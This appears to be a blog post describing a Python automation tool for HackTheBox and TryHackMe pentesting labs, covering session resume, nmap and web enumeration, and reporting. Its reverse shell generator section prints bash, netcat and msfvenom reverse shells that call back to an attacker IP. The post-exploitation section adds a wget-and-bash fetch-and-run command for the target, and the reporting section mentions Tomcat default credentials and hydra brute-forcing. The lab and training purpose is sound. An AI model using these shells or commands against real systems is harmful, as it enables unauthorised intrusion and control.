Post

Building a Python Penetration Testing Automation Tool

Building a Python Penetration Testing Automation Tool

Overview

I’ve been building a comprehensive penetration testing automation tool in Python designed for HackTheBox and TryHackMe challenges. What started as a simple bash script evolved into a 2700+ line Python application with modular classes, session management, integrated helper tools, and activity tracking.

Key Features

Session Management & Resume (NEW!)

One of the most powerful features - automatic session resume:

1
2
3
4
5
6
7
8
9
10
========================================
    RESUMABLE SESSION FOUND!
========================================
  Room: HTB_Jerry
  Target: 10.129.33.71
  Hostname: jerry.htb
  Last activity: 2025-11-17 03:15

  Press 'L' to LOAD this session
========================================

No more re-entering target information! Previous nmap results are loaded automatically, and you can continue exactly where you left off.

Activity Tracking Dashboard

The Active Session banner now shows your progress at a glance:

1
2
3
4
5
6
7
8
9
10
11
12
========================================
    ACTIVE SESSION
========================================
  Room: HTB_Jerry
  Target: 10.129.33.71
  Hostname: jerry.htb
  ---
  ✓ Ping: Host UP (TTL: 128 - Windows)
  ✓ Hosts: jerry.htb configured
  ✓ Nmap: Quick scan - 3 ports open
  ✗ Web: Not run
========================================

Green ✓ for completed tasks, Red ✗ for pending. All saved to JSON for resume.

Reverse Shell Generator (R)

Auto-detects your VPN IP and generates ready-to-use payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Enter your LPORT (default 4444)

==================== BASH SHELLS ====================
[1] Basic Bash:
    bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

[2] Netcat (mkfifo):
    mkfifo /tmp/f; nc 10.10.14.5 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1

==================== MSFVENOM PAYLOADS ====================
[6] Java WAR (for Tomcat):
    msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

[9] Windows Meterpreter:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meterpreter.exe

==================== LISTENER COMMANDS ====================
Start your listener FIRST:
    nc -lvnp 4444
    rlwrap nc -lvnp 4444

Option to save all payloads to exploits/reverse_shells.txt in your room folder.

Post-Exploitation Tools (P)

  • View universal_enum.sh script ready to copy to target
  • Generate download one-liners with YOUR IP:
    1
    2
    3
    4
    5
    
    # On YOUR machine:
    python3 -m http.server 8000
    
    # On TARGET:
    wget http://10.10.14.5:8000/universal_enum.sh -O /tmp/enum.sh && bash /tmp/enum.sh
    
  • Common post-exploit commands (SUID binaries, shell upgrade)
  • Links to LinPEAS, WinPEAS, GTFOBins, LOLBAS

Threat Intelligence (M)

Integrated with Analyst Mindset for investigating IPs, domains, and hashes:

1
2
3
4
5
6
7
8
API Key Status:
  ✓ VirusTotal: Configured
  ✗ AbuseIPDB: Not set
      Get key: https://www.abuseipdb.com/register
  ✓ Shodan: Configured
  ✗ HybridAnalysis: Not set

[!] 2/4 API keys configured

Features:

  • API key validation with clickable signup URLs
  • Quick indicator lookups with URL generation
  • Launch full analyst_mindset.sh interactively
  • Results saved to {room_dir}/threat_intel/

Network Scanning

  • 9+ Nmap scan types: Quick, Standard, Full TCP, Aggressive, Stealth, UDP, and more
  • TTL-based OS fingerprinting (Linux=64, Windows=128)
  • Automatic /etc/hosts management via custom writehosts tool
  • Educational explanations for learners (what each flag does)

Web Enumeration

  • Gobuster directory scanning with wordlist selection
  • Nikto vulnerability scanning
  • Whatweb technology fingerprinting
  • Auto-detect web ports from nmap results
  • Browser integration with countdown timer (10 seconds auto-open)
  • Screenshot capability (gowitness/cutycapt)
  • Connectivity checking with status symbols:
    • ✓ Green (200-299) - Service responding
    • ⚠ Yellow (300-499) - Redirects/client errors
    • ✗ Red (500+) - Server errors

VPN Management

  • Check if OpenVPN is running
  • Display tun0 IP address (your attack IP)
  • Start/stop VPN from menu
  • Status indicator in main menu

Architecture

The tool uses a modular class structure:

1
2
3
4
5
6
7
class PentestSession:      # Session data + activity tracking
class NetworkScanner:       # Nmap operations + host discovery
class WebEnumerator:        # Web scanning tools
class ReportGenerator:      # Markdown reports
class VPNManager:          # OpenVPN status/control
class WebBrowserManager:   # Web service browsing & screenshots
class PentestApp:          # Main application controller

Folder Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
network-scans/
├── pentest.py              # Main script (2700+ lines)
├── db/
│   ├── rooms_database.json # Room tracking
│   ├── last_session.json   # Session resume state (NEW!)
│   └── analyst_mindset.conf # API keys
├── helpers/
│   ├── writehosts          # /etc/hosts manager
│   ├── reverse_shell_cheatsheet.sh
│   ├── universal_enum.sh   # Post-exploitation
│   └── analyst_mindset.sh  # Threat intel (873 lines)
└── pentest-results/
    └── HTB_Jerry/
        ├── nmap/           # Scan results
        ├── web/
        │   └── screenshots/
        ├── exploits/       # Reverse shells saved here
        ├── loot/           # Credentials
        └── threat_intel/   # Investigation data

Usage Examples

Interactive Mode with Resume

1
2
3
python3 pentest.py
# Shows menu, auto-detects previous session
# Press 'L' to load and continue where you left off!

Quick Start with IP

1
2
python3 pentest.py 10.129.33.71 jerry.htb
# Sets target and hostname, then shows menu

Fully Automatic Scan

1
2
python3 pentest.py 10.129.33.71 jerry.htb -y
# Runs: Init room → Set target → Configure hosts → Ping → Nmap → Web enum

Complete Menu Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
========================================
           MAIN MENU
========================================
  L) Load Previous Session (if found)
  1) Initialize Room/Session
  2) Set Target IP & Hostname
  3) Ping Host Discovery
  4) Configure /etc/hosts (writehosts) [installed]
  5) Run Nmap Scan
  6) Web Enumeration (Gobuster/Nikto)
  7) Generate Summary Report
  8) List Previous Rooms
  9) Quick Scan (Ping + Quick Nmap + Web)
  --- Helper Tools ---
  R) Reverse Shell Generator [connected: 10.10.14.5]
  P) Post-Exploitation Scripts
  M) Threat Intelligence (Analyst Mindset)
  --- Quick Actions ---
  B) Browse & Screenshot Web Services
  V) VPN Status & Management [connected: 10.10.14.5]
  A) AUTOMATIC FULL SCAN
  0) Exit
========================================

Intelligent Reporting

The tool generates markdown reports with:

  • Key findings summary table (PORTSTATESERVICEVERSION)
  • OS detection results
  • Suggested next steps based on detected services:
    • Web server → URLs + gobuster/nikto commands
    • Tomcat → Manager paths + default credentials (tomcat:s3cret)
    • SSH → Connection + hydra brute force commands
    • FTP → Anonymous login instructions
    • SMB → smbclient + enum4linux commands

Educational Focus

The tool includes explanations for learners:

  • What is an IP address?
  • What does TTL mean? (Time To Live - helps identify OS)
  • What are nmap flags? (-sV = service version, -sC = default scripts)
  • Why use /etc/hosts? (“Like a local phonebook”)
  • Common services: SSH (22), FTP (21), SMB (445), MySQL (3306), RDP (3389)

Future Plans

  • Searchsploit integration for auto-exploit suggestions
  • CMS auto-detection (WordPress, Joomla, Drupal)
  • HTML report export with Bootstrap styling
  • Credential storage and tracking
  • Room completion/rooted flags
  • More service-specific enumeration modules

Conclusion

This tool streamlines the HTB/THM workflow by automating repetitive tasks while maintaining flexibility for manual exploration. Key highlights:

  • Session Resume - Continue exactly where you left off
  • Activity Tracking - See progress at a glance with ✓/✗ indicators
  • Reverse Shell Generator - Auto-populated with your VPN IP
  • Post-Exploitation Tools - Ready-to-use scripts and commands
  • Threat Intelligence - Investigate suspicious indicators

The code is organized, extensible, and includes educational content making it useful for both learning and practical pentesting.


Development time: ~6 hours Lines of code: 2700+ Python + supporting scripts Tools integrated: nmap, gobuster, nikto, whatweb, OpenVPN, gowitness, and more New features: Session resume, activity tracking, reverse shells, post-exploitation, threat intel

This post is licensed under CC BY 4.0 by the author.